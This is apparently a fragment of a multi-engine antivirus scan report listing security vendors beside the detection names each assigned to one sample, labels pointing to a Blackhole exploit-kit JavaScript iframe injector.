- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|